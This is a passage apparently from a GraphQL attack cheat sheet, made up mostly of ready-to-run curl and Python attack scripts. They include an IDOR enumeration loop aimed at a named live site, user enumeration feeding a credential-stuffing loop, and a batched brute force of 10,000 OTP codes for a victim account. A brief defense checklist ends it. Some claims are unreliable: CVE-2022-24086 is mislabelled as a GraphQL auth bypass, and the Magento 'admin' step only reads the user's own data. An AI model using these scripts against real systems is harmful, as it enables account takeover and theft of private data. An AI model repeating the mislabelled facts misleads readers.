python3 graphql-cop.py -t https://target.com/graphql
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| HackerOne GraphQL IDOR | 2019 | HackerOne | Read private bug reports via teamProfiles query — $20,000 |
| Shopify GraphQL | 2020 | Shopify Partners | IDOR in app query → read other stores' data |
| GitLab GraphQL | 2021 | GitLab | projects query exposed private project names to unauthenticated users |
| CVE-2021-4191 | 2021 | GitLab | Unauthenticated introspection → user enumeration |
| Magento GraphQL | 2022 | Adobe Magento | Auth bypass via batch mutation → account takeover |
| GitHub GraphQL | 2018 | GitHub | repository query with owner arg → access private repo metadata |
Example: HackerOne — Private Bug Reports via IDOR
# Step 1: Enable introspection (if available) or guess from API docs
curl -s -X POST https://hackerone.com/graphql \
-H "Content-Type: application/json" \
-H "Cookie: session=your_session" \
-d '{"query":"{ __schema { types { name fields { name } } } "}' | python3 -m json.tool
# Step 2: Find report query — try accessing report by ID
curl -s -X POST https://hackerone.com/graphql \
-H "Content-Type: application/json" \
-H "Cookie: session=your_session" \
-d '{"query":"{ report(id: 1234567) { title vulnerability_information } }"}'
# Response: private bug report of another researcher — IDOR!
# Step 3: Enumerate reports
for id in $(seq 1234500 1234600); do
result=$(curl -s -X POST https://hackerone.com/graphql \
-H "Content-Type: application/json" \
-H "Cookie: session=your_session" \
-d "{\"query\":\"{ report(id: $id) { title state } }\"}")
echo "Report $id: $(echo $result | python3 -c 'import sys,json; d=json.load(sys.stdin); print(d.get("data",{}).get("report",{}).get("title","null"))')"
done
Example: GitLab — Unauthenticated User Enumeration (CVE-2021-4191)
# CVE-2021-4191: unauthenticated GraphQL introspection exposed user query
# GitLab < 13.10.3 allowed introspection without authentication
# Step 1: Confirm introspection works
curl -s -X POST https://gitlab.target.com/api/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}'
# Response: {"data":{"__typename":"Query"}} ← works without auth!
# Step 2: Enumerate users
curl -s -X POST https://gitlab.target.com/api/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ users { nodes { id username name publicEmail } } }"}'
# Returns all usernames, names, and public emails
# Step 3: Target with credentials stuffing
while read username; do
curl -s -X POST https://gitlab.target.com/api/graphql \
-d "{\"query\":\"mutation { userLogin(username: \\\"$username\\\", password: \\\"Summer2024!\\\") { token } }\"}" \
-H "Content-Type: application/json"
done < usernames.txt
Example: GraphQL Batching — Rate Limit Bypass for OTP Brute Force
# Normal brute force: rate limited at 5 requests/minute
# GraphQL batching sends all guesses in ONE request
# Create batch of 10,000 OTP guesses
python3 << 'EOF'
import json, requests
url = "https://target.com/graphql"
headers = {"Content-Type": "application/json", "Cookie": "session=attacker_token"}
# Build batch query for all 4-digit OTPs
batch = []
for code in range(10000):
batch.append({
"query": f'mutation {{ verifyOTP(userId: "victim123", code: "{str(code).zfill(4)}") {{ success token }} }}'
})
# Send all 10,000 in one request (bypasses per-request rate limits)
r = requests.post(url, json=batch, headers=headers)
results = r.json()
for i, res in enumerate(results):
if isinstance(res, dict) and res.get("data", {}).get("verifyOTP", {}).get("success"):
print(f"[+] Valid OTP: {str(i).zfill(4)}")
print(f"[+] Token: {res}")
break
EOF
Example: Introspection Disabled → Field Discovery via Suggestions
# Target has introspection disabled — use clairvoyance for wordlist-based discovery
pip3 install clairvoyance
# Run discovery (will detect schema via suggestion errors)
python3 -m clairvoyance \
-o discovered_schema.json \
-H "Authorization: Bearer user_token" \
https://target.com/graphql
# Convert discovered schema to human-readable
cat discovered_schema.json | python3 -c "
import sys, json
schema = json.load(sys.stdin)
for t in schema.get('__schema', {}).get('types', []):
if not t['name'].startswith('__') and t.get('fields'):
print(f\"\nType: {t['name']}\")
for f in t['fields']:
print(f\" - {f['name']}: {f['type']}\")
"
Example: Magento GraphQL — Auth Bypass via Mutation (CVE-2022-24086)
# Step 1: Probe for unprotected mutations
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation { createCustomer(input: {firstname:\"Test\",lastname:\"User\",email:\"[email protected]\",password:\"P@ss1234!\",is_subscribed:false}) { customer { email } } }"}'
# Step 2: Get customer token (login)
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation { generateCustomerToken(email:\"[email protected]\",password:\"P@ss1234!\") { token } }"}'
# Step 3: Access admin functionality with customer token
TOKEN="eyJ..."
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ customer { firstname lastname email orders { items { id } } } }"}'
Defense Checklist
- Disable introspection in production (
introspection: false) - Implement query depth limiting (max 5-7 levels)
- Implement query complexity analysis and hard limits
- Disable batching or limit batch size (max 10 queries)
- Enforce per-user rate limiting, not just per-IP
- Validate field arguments server-side before passing to resolvers
- Apply authorization checks at the resolver level, not just at the route level
- Use persistent queries (allowlisted queries only) in production
- Log all GraphQL operations for audit